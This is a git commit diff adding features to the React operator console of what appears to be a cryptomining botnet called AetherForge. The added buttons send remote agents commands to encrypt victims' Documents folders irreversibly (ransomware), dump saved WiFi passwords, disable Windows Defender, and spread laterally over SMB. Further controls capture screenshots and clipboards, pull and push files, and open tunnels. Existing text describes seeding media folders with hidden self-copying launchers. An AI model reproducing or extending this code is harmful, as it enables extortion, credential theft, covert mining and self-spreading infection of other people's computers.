feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -10,6 +10,10 @@ import { formatHashrate } from '../help/fleetFilters';
|
||||
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -71,7 +75,17 @@ interface RichPostureSummary {
|
||||
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
|
||||
}
|
||||
|
||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
|
||||
interface RichScreenshot {
|
||||
type: 'screenshot';
|
||||
b64: string;
|
||||
}
|
||||
|
||||
interface RichFullSysCheck {
|
||||
type: 'full_sys_check';
|
||||
report: FullSysCheckReport;
|
||||
}
|
||||
|
||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -312,6 +326,14 @@ export default function CruciblePage() {
|
||||
const [seekWin, setSeekWin] = useState(true);
|
||||
const [seekMac, setSeekMac] = useState(true);
|
||||
|
||||
// File ops state
|
||||
const [uploadPath, setUploadPath] = useState('');
|
||||
const [downloadPath, setDownloadPath] = useState('');
|
||||
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
|
||||
|
||||
// Tunnel URL state
|
||||
const [tunnelURL, setTunnelURL] = useState('');
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
@@ -372,6 +394,12 @@ export default function CruciblePage() {
|
||||
|
||||
// ── Parse structured JSON for known actions ────────────────────────
|
||||
let richData: RichTermData | undefined;
|
||||
|
||||
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
|
||||
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
|
||||
richData = { type: 'screenshot', b64: msg.trim() };
|
||||
}
|
||||
|
||||
const jsonStart = msg.indexOf('{');
|
||||
|
||||
if (jsonStart >= 0) {
|
||||
@@ -382,6 +410,8 @@ export default function CruciblePage() {
|
||||
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
|
||||
} else if (r.action === 'patch_status') {
|
||||
richData = { type: 'patch_status', ...parsed };
|
||||
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
|
||||
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
|
||||
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
|
||||
richData = { type: 'posture', ...parsed };
|
||||
// Update badge state
|
||||
@@ -777,10 +807,24 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
);
|
||||
|
||||
const renderRichData = (d: RichTermData) => {
|
||||
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
|
||||
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
|
||||
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
|
||||
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
|
||||
if (d.type === 'full_sys_check') {
|
||||
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
|
||||
}
|
||||
if (d.type === 'screenshot') return (
|
||||
<div style={{ marginTop: '0.4rem' }}>
|
||||
<img
|
||||
src={`data:image/png;base64,${d.b64}`}
|
||||
alt="screenshot"
|
||||
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
|
||||
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
|
||||
title="Click to open full size"
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
return null;
|
||||
};
|
||||
|
||||
@@ -1055,7 +1099,7 @@ export default function CruciblePage() {
|
||||
<div className="crucible-ops">
|
||||
|
||||
{/* ── Posture ──────────────────────────────────── */}
|
||||
<div className="crucible-op-group">
|
||||
<div className="crucible-op-group cop-recon">
|
||||
<span className="cop-label">Posture & Recon</span>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-scan"
|
||||
@@ -1080,7 +1124,7 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
|
||||
{/* ── SSH ──────────────────────────────────────── */}
|
||||
<div className="crucible-op-group">
|
||||
<div className="crucible-op-group cop-ssh">
|
||||
<span className="cop-label">SSH</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
@@ -1101,19 +1145,49 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
|
||||
{/* ── Mining ───────────────────────────────────── */}
|
||||
<div className="crucible-op-group">
|
||||
<div className="crucible-op-group cop-mining">
|
||||
<span className="cop-label">Mining</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
|
||||
onClick={() => {
|
||||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||||
if (ids.length === 0) return;
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => {
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||||
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
|
||||
}]);
|
||||
}).catch((err) => {
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
|
||||
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false,
|
||||
}]);
|
||||
});
|
||||
}}
|
||||
>
|
||||
Resume
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
|
||||
onClick={() => {
|
||||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||||
if (ids.length === 0) return;
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => {
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||||
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
|
||||
}]);
|
||||
}).catch((err) => {
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
|
||||
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false,
|
||||
}]);
|
||||
});
|
||||
}}
|
||||
>
|
||||
Pause
|
||||
</button>
|
||||
@@ -1135,11 +1209,54 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── Sys Crypt ────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-destructive">
|
||||
<span className="cop-label">⚠ Destructive</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
|
||||
style={{
|
||||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||||
border: '1px solid #ff2222',
|
||||
color: '#fff',
|
||||
fontWeight: 700,
|
||||
letterSpacing: '0.06em',
|
||||
}}
|
||||
onClick={() => {
|
||||
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||||
Promise.all(
|
||||
selectedAgents.filter(online).map((a) =>
|
||||
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false, targeted: true,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
}}
|
||||
>
|
||||
🔒 SYS CRYPT ({selectedIds.size})
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||
<div className="crucible-op-group crucible-seek-group">
|
||||
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
|
||||
◈ SUPP SEEK MODE
|
||||
</span>
|
||||
<div className="crucible-op-group cop-seek crucible-seek-group">
|
||||
<span className="cop-label">◈ SUPP Seek Mode</span>
|
||||
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
|
||||
Recursively seeds every media directory under the given path with
|
||||
silent launcher files. The agent copies itself as a hidden exe (Windows)
|
||||
@@ -1209,8 +1326,353 @@ export default function CruciblePage() {
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* ── Recon ────────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-recon">
|
||||
<span className="cop-label">Recon</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (30–60s)"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => {
|
||||
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false, targeted: true,
|
||||
}])
|
||||
);
|
||||
});
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||||
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
|
||||
}]);
|
||||
}}
|
||||
>
|
||||
Full Sys Check
|
||||
</button>
|
||||
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||||
<button
|
||||
key={cmd}
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title={{
|
||||
screenshot: 'Capture the desktop screenshot',
|
||||
clipboard: 'Read the current clipboard contents',
|
||||
wifi: 'Dump all saved WiFi passwords',
|
||||
software: 'List installed programs',
|
||||
ps: 'Running process list (tasklist)',
|
||||
netstat: 'Active TCP/UDP connections',
|
||||
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
|
||||
users: 'Local user accounts + whoami /all',
|
||||
}[cmd]}
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => {
|
||||
api.sendAgentCommand(a.id, cmd).catch((err) =>
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false, targeted: true,
|
||||
}])
|
||||
);
|
||||
});
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||||
text: `${cmd} → ${selectedIds.size} node(s)`, ts: new Date(),
|
||||
}]);
|
||||
}}
|
||||
>
|
||||
{cmd}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* ── Agent Control ─────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-agent">
|
||||
<span className="cop-label">Agent</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Restart the agent process"
|
||||
onClick={() => {
|
||||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||||
if (ids.length === 0) return;
|
||||
api.sendBulkCommand(ids, 'restart').then((r) => {
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
|
||||
}).catch(() => null);
|
||||
}}
|
||||
>
|
||||
Restart
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Pull the last 300 lines of the agent log"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Get Log
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Kill the agent process (it will restart via watchdog/persistence)"
|
||||
style={{ color: '#ff8c00' }}
|
||||
onClick={() => {
|
||||
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Kill
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Fully uninstall: remove persistence, delete files, exit"
|
||||
style={{ color: '#ff4444' }}
|
||||
onClick={() => {
|
||||
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Uninstall
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── System Power ──────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-sys">
|
||||
<span className="cop-label">System</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="OS reboot"
|
||||
onClick={() => {
|
||||
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Reboot
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="OS shutdown (power off)"
|
||||
style={{ color: '#ff4444' }}
|
||||
onClick={() => {
|
||||
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Shutdown
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── Aggressive Ops ───────────────────────────── */}
|
||||
<div className="crucible-op-group cop-agg">
|
||||
<span className="cop-label">Aggressive Ops</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Dump all saved WiFi network credentials from selected Windows nodes"
|
||||
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => {
|
||||
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false, targeted: true,
|
||||
}])
|
||||
);
|
||||
});
|
||||
setTermLines((prev) => [...prev, {
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||||
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
|
||||
}]);
|
||||
}}
|
||||
>
|
||||
📶 WiFi Passwords
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Disable Windows Defender real-time monitoring (requires admin)"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Defender Off
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Scan local subnet for reachable hosts (up to 64)"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Force one lateral-spread attempt via SMB/shares"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Spread Now
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
|
||||
onClick={() => {
|
||||
const url = tunnelURL.trim() || '';
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Start Tunnel
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
|
||||
onClick={() => {
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Hole Punch
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── File Ops ─────────────────────────────────── */}
|
||||
<div className="crucible-op-group cop-fileops">
|
||||
<span className="cop-label">File Ops</span>
|
||||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
|
||||
<label
|
||||
className="button crucible-op-btn"
|
||||
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
|
||||
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
|
||||
>
|
||||
↑ Desktop
|
||||
<input
|
||||
type="file"
|
||||
style={{ display: 'none' }}
|
||||
disabled={selectedIds.size === 0}
|
||||
onChange={async (e) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (!file) return;
|
||||
const targets = selectedAgents.filter(online);
|
||||
try {
|
||||
for (const a of targets) {
|
||||
await pushFileToAgentDesktop(
|
||||
(action, args) => api.sendAgentCommand(a.id, action, args),
|
||||
file
|
||||
);
|
||||
}
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `push_desktop ${file.name} → ${targets.length} node(s)`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : String(err));
|
||||
}
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
|
||||
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
|
||||
</span>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="Remote path (or @desktop/file.txt)"
|
||||
value={downloadPath}
|
||||
onChange={(e) => setDownloadPath(e.target.value)}
|
||||
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
|
||||
/>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0 || !downloadPath.trim()}
|
||||
title="Download a file from the agent (result is base64 in terminal)"
|
||||
onClick={() => {
|
||||
const p = downloadPath.trim();
|
||||
selectedAgents.filter(online).forEach((a) =>
|
||||
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
↓ Pull
|
||||
</button>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="Path or @desktop/filename"
|
||||
value={uploadPath}
|
||||
onChange={(e) => setUploadPath(e.target.value)}
|
||||
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
|
||||
/>
|
||||
<label
|
||||
className="button crucible-op-btn"
|
||||
style={{ cursor: 'pointer' }}
|
||||
title="Upload to custom path, or leave blank and use ↑ Desktop"
|
||||
>
|
||||
↑ Push path
|
||||
<input
|
||||
type="file"
|
||||
style={{ display: 'none' }}
|
||||
ref={(el) => { uploadFileRef.current = el; }}
|
||||
onChange={async (e) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (!file) return;
|
||||
const p = uploadPath.trim() || `@desktop/${file.name}`;
|
||||
try {
|
||||
const { readFileAsBase64 } = await import('../help/desktopPush');
|
||||
const b64 = await readFileAsBase64(file);
|
||||
selectedAgents.filter(online).forEach((a) =>
|
||||
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
|
||||
)
|
||||
);
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name} → ${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : String(err));
|
||||
}
|
||||
if (uploadFileRef.current) uploadFileRef.current.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── Shell type ───────────────────────────────── */}
|
||||
<div className="crucible-op-group">
|
||||
<div className="crucible-op-group cop-shell">
|
||||
<span className="cop-label">Shell Mode</span>
|
||||
<div className="crucible-shell-tabs">
|
||||
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
|
||||
@@ -1286,7 +1748,7 @@ export default function CruciblePage() {
|
||||
{line.isCmd ? '▶' : '◀'}
|
||||
</span>
|
||||
{line.richData ? (
|
||||
<span className="ctl-text ctl-rich">{renderRichData(line.richData)}</span>
|
||||
<span className="ctl-text ctl-rich">{renderRichData(line.richData, line.agentName)}</span>
|
||||
) : (
|
||||
<span className="ctl-text">{line.text}</span>
|
||||
)}
|
||||
|
||||
Reference in New Issue
Block a user